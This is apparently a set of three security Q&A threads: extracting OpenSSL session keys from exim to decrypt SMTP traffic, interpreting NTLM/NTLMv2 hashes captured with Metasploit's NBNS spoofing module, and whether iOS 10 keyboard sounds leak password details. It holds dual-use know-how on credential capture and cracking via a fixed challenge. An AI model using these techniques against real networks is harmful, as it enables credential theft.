In case it's helpful, running ldd /usr/sbin/exim lists the following libraries (among others of course).

libssl.so.10
libcrypto.so.10

The NSS SSL Keylog file is a non-obtrusive way to extract SSL session keys from an application using the NSS library for SSL/TLS, but there is no standard way to do the same in all applications. (A generic approach would involve a man in the middle attack, but this is not really non-obtrusive.)

The idea of the extracting session keys directly from the application is more widely applicable though. libssl.so suggests that OpenSSL is in use on a (likely) Linux platform. You can either use use LD_PRELOAD to interpose the OpenSSL library (may not work in all cases) or attach a debugger with appropriate breakpoints. Both approaches are documented and explored further in Extract pre-master keys from an OpenSSL application.

As an additional tip for troubleshooting, while Wireshark 1.12 is able to decrypt the TLS application data (and Follow SSL stream can be used to look at the communication), it does not dissect the SMTP traffic which occurs after a STARTTLS handshake (SMTPS is unaffected). In Wireshark 2.0 (tentative release date in November 2015, pre-release versions are available) the SMTP protocol is correctly recognized after STARTTLS.


Identifying hash format caputred via Metasploit When I use the nbns_repsonde module in metasploit, and set it to write captured responses to a file in the john format, I get a file with lines such as this:

username::DOMAIN:stringof32numbersandletters:stringof32numbersandletters:1122334455667788

This is for a http-netntlm response. Where I have written stringof32numbersandletters represents the hash, and both are identical.

However, for http-ntlmv2, the format completely changes:

username::DOMAIN:1122334455667788:stringof32numbersandletters:muchlargerstringofrandomnumbersandletters

The username and domain is obvious, as is the challenge sent by Metasploit (1122334455667788), but it is the rest that I find confusing.

I am new to learning about hashes, and pass the hash attacks and such, and I'm not sure how to make sense of what I have captured.

I can't find any documentation on the Metasploit homepage for the module: http://www.rapid7.com/db/modules/auxiliary/spoof/nbns/nbns_response

Where can I find documentation that explains what each segment is, and what each hash is for? Or, alternatively, would someone be able to explain the difference between a captured ntlm and ntlmv2 response?

Furthermore, the recorded hashes written to file do not seem to match what is on screen. Looking at examples taken from: http://www.anotherwayin.net/2011/07/netbios-spoofing-for-easy-win.html

The contents in this file:

Do not match what was captured and shown on screen via the module

username::DOMAIN:1122334455667788:stringof32numbersandletters:muchlargerstringofrandomnumbersandletters

Username: username
Domain or NTLM realm: DOMAIN
Challenge: 1122334455667788
LM Hash: strongof32numbersandletters
NTLM Hash: muchlargerstringofrandomnumbersandletters

If you are wondering why you can't pass these hashes in the pass the hash attack, the reason is that both LM and NTLM hashes are not the same as the ones stored in the SAM or Active Directory store. These hashes are concatenated with the challenge and then send over the wire. The reason of setting a static signature 1122334455667788 is to use the pre-computed rainbow tables generated using this challenge.


Does the iOS 10 keyboard click sound divulge too much? The updated keyboard in iOS 10 has at least three distinct "click" sounds that I'm aware of: a high click upon entry of any normal character; a mid-range click when entering a space, toggling shift, or switching between the ABC, 123, and #+= layouts; and a low click for each backspace. Compare this with iOS 9, which had one click sound that played for each keypress, regardless of what it was.

The first time I entered a password using this keyboard, I found it a little disconcerting that the phone was audibly broadcasting more detail about the state of the keyboard than I'd personally prefer. But the more I think about it, the more difficulty I have trying to envision an attack that can make use of this information in a practical way.

Am I being too paranoid in thinking that an audio recording of an iOS 10 password entry reveals significantly more detail than the same entry on iOS 9? Does this change reduce, by any useful amount, the effort required for a theoretical adversary to discover a password?

While similar to old fashioned shoulder surfing, this attack has some severe limitations:

You need physical proximity - you need to hear the tapping sounds. That means it can not be automated.
While you do decrease the entropy of the password you do not get the full password. For this to be useful you would need some more information - e.g. a leaked hash (that is now faster to crack since you can narrow down the dictionary) or an other password that this is believed to be a variant off (like password1 instead of just password).

Because of these two limitations I can only see two reasonable scenarios:

For extremely high value targets, sending out someone listening for tap sounds might be worth the effort. But nobody reading this is that interesting...
It could potentially be used by a significant other or someone else close who already knows some of the passwords the victim use, and does not need excuses to be in listening range.

In conclusion I am with Apple on this one. The increased usability probably outweight the tiny loss of security. If it bothers you, you can always turn of the tap sound completely. But that is not a security advice I would bother giving to an ordinary user.

And do note that even the old tapping sound would let a listener deduce the length of the password.

(On second thought, they could have deactivated the different sounds for password fields, and keep them for everything else. That would have been better. But I would not loose any sleep over it.)